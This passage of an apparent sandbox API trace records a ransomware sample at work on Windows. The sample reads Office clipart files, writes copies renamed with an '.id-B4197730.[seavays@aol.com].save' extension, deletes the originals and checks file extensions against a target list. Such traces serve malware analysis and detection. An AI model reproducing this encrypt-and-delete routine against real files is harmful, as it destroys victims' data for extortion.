SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.002] SetEndOfFile (hFile=0x390) returned 1 [0076.003] CloseHandle (hObject=0x390) returned 1 [0076.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0076.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0076.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0076.004] lstrlenW (lpString=".doc") returned 4 [0076.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.004] lstrlenW (lpString=".docx") returned 5 [0076.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.004] lstrlenW (lpString=".pdf") returned 4 [0076.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.004] lstrlenW (lpString=".xls") returned 4 [0076.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.004] lstrlenW (lpString=".xlsx") returned 5 [0076.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.004] lstrlenW (lpString=".ppt") returned 4 [0076.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0076.004] lstrlenW (lpString=".zip") returned 4 [0076.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.004] lstrlenW (lpString=".rar") returned 4 [0076.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.004] lstrlenW (lpString=".bz2") returned 4 [0076.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.004] lstrlenW (lpString=".7z") returned 3 [0076.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0076.005] lstrlenW (lpString=".dbf") returned 4 [0076.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0076.005] lstrlenW (lpString=".1cd") returned 4 [0076.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0076.005] lstrlenW (lpString=".jpg") returned 4 [0076.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.006] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.006] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.007] GetLastError () returned 0x0 [0076.007] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x7a8, lpOverlapped=0x0) returned 1 [0076.008] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x7b0, lpOverlapped=0x0) returned 1 [0076.009] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.009] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.009] SetEndOfFile (hFile=0x378) returned 1 [0076.009] CloseHandle (hObject=0x378) returned 1 [0076.010] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.010] SetEndOfFile (hFile=0x390) returned 1 [0076.010] CloseHandle (hObject=0x390) returned 1 [0076.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0076.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0076.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0076.011] lstrlenW (lpString=".doc") returned 4 [0076.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.011] lstrlenW (lpString=".docx") returned 5 [0076.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.012] lstrlenW (lpString=".pdf") returned 4 [0076.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.012] lstrlenW (lpString=".xls") returned 4 [0076.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.012] lstrlenW (lpString=".xlsx") returned 5 [0076.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.012] lstrlenW (lpString=".ppt") returned 4 [0076.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0076.012] lstrlenW (lpString=".zip") returned 4 [0076.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.012] lstrlenW (lpString=".rar") returned 4 [0076.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.012] lstrlenW (lpString=".bz2") returned 4 [0076.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.012] lstrlenW (lpString=".7z") returned 3 [0076.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0076.012] lstrlenW (lpString=".dbf") returned 4 [0076.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0076.012] lstrlenW (lpString=".1cd") returned 4 [0076.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0076.013] lstrlenW (lpString=".jpg") returned 4 [0076.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.013] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.013] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.014] GetLastError () returned 0x0 [0076.014] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xe4e, lpOverlapped=0x0) returned 1 [0076.449] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe50, lpOverlapped=0x0) returned 1 [0076.450] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.450] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.451] SetEndOfFile (hFile=0x378) returned 1 [0076.451] CloseHandle (hObject=0x378) returned 1 [0076.451] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.451] SetEndOfFile (hFile=0x390) returned 1 [0076.452] CloseHandle (hObject=0x390) returned 1 [0076.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0076.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0076.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0076.453] lstrlenW (lpString=".doc") returned 4 [0076.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.453] lstrlenW (lpString=".docx") returned 5 [0076.453] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.453] lstrlenW (lpString=".pdf") returned 4 [0076.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.453] lstrlenW (lpString=".xls") returned 4 [0076.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.453] lstrlenW (lpString=".xlsx") returned 5 [0076.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.453] lstrlenW (lpString=".ppt") returned 4 [0076.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0076.453] lstrlenW (lpString=".zip") returned 4 [0076.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.453] lstrlenW (lpString=".rar") returned 4 [0076.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.453] lstrlenW (lpString=".bz2") returned 4 [0076.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.453] lstrlenW (lpString=".7z") returned 3 [0076.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0076.453] lstrlenW (lpString=".dbf") returned 4 [0076.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0076.453] lstrlenW (lpString=".1cd") returned 4 [0076.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0076.454] lstrlenW (lpString=".jpg") returned 4 [0076.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.454] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.454] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.455] GetLastError () returned 0x0 [0076.455] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x844, lpOverlapped=0x0) returned 1 [0076.457] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x850, lpOverlapped=0x0) returned 1 [0076.458] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.458] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.458] SetEndOfFile (hFile=0x378) returned 1 [0076.459] CloseHandle (hObject=0x378) returned 1 [0076.459] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.459] SetEndOfFile (hFile=0x390) returned 1 [0076.460] CloseHandle (hObject=0x390) returned 1 [0076.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0076.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0076.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0076.461] lstrlenW (lpString=".doc") returned 4 [0076.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.461] lstrlenW (lpString=".docx") returned 5 [0076.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.461] lstrlenW (lpString=".pdf") returned 4 [0076.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.461] lstrlenW (lpString=".xls") returned 4 [0076.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.461] lstrlenW (lpString=".xlsx") returned 5 [0076.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.461] lstrlenW (lpString=".ppt") returned 4 [0076.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0076.461] lstrlenW (lpString=".zip") returned 4 [0076.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.461] lstrlenW (lpString=".rar") returned 4 [0076.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.461] lstrlenW (lpString=".bz2") returned 4 [0076.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.461] lstrlenW (lpString=".7z") returned 3 [0076.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0076.462] lstrlenW (lpString=".dbf") returned 4 [0076.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0076.462] lstrlenW (lpString=".1cd") returned 4 [0076.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0076.462] lstrlenW (lpString=".jpg") returned 4 [0076.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.462] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.463] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.464] GetLastError () returned 0x0 [0076.464] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x620, lpOverlapped=0x0) returned 1 [0076.466] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x630, lpOverlapped=0x0) returned 1 [0076.467] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.467] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.467] SetEndOfFile (hFile=0x378) returned 1 [0076.467] CloseHandle (hObject=0x378) returned 1 [0076.467] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.467] SetEndOfFile (hFile=0x390) returned 1 [0076.468] CloseHandle (hObject=0x390) returned 1 [0076.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0076.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0076.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0076.470] lstrlenW (lpString=".doc") returned 4 [0076.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.470] lstrlenW (lpString=".docx") returned 5 [0076.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.470] lstrlenW (lpString=".pdf") returned 4 [0076.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.470] lstrlenW (lpString=".xls") returned 4 [0076.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.470] lstrlenW (lpString=".xlsx") returned 5 [0076.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.470] lstrlenW (lpString=".ppt") returned 4 [0076.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0076.470] lstrlenW (lpString=".zip") returned 4 [0076.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.470] lstrlenW (lpString=".rar") returned 4 [0076.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.470] lstrlenW (lpString=".bz2") returned 4 [0076.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.470] lstrlenW (lpString=".7z") returned 3 [0076.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0076.471] lstrlenW (lpString=".dbf") returned 4 [0076.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0076.471] lstrlenW (lpString=".1cd") returned 4 [0076.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0076.471] lstrlenW (lpString=".jpg") returned 4 [0076.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.472] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.472] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.473] GetLastError () returned 0x0 [0076.473] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0076.475] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0076.476] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.476] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.477] SetEndOfFile (hFile=0x378) returned 1 [0076.477] CloseHandle (hObject=0x378) returned 1 [0076.477] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.477] SetEndOfFile (hFile=0x390) returned 1 [0076.478] CloseHandle (hObject=0x390) returned 1 [0076.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0076.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0076.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0076.480] lstrlenW (lpString=".doc") returned 4 [0076.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.480] lstrlenW (lpString=".docx") returned 5 [0076.480] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.480] lstrlenW (lpString=".pdf") returned 4 [0076.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.480] lstrlenW (lpString=".xls") returned 4 [0076.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.480] lstrlenW (lpString=".xlsx") returned 5 [0076.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.480] lstrlenW (lpString=".ppt") returned 4 [0076.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0076.480] lstrlenW (lpString=".zip") returned 4 [0076.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.480] lstrlenW (lpString=".rar") returned 4 [0076.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.480] lstrlenW (lpString=".bz2") returned 4 [0076.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.480] lstrlenW (lpString=".7z") returned 3 [0076.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.480] lstrlenW 